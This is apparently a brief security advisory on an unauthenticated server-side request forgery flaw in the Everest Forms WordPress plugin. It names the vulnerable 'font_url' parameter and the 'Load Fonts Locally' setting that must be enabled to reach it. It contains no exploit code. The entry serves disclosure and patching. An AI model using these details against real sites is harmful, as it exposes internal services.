Description The Everest Forms plugin for WordPress is vulnerable to Server-Side Request Forgery via the ‘font_url’ parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services. It is worth mentioning that while the fix prevents the attack, it broke the Load Fonts Locally functionality.
Make sure the option `Load Fonts Locally` is enabled.
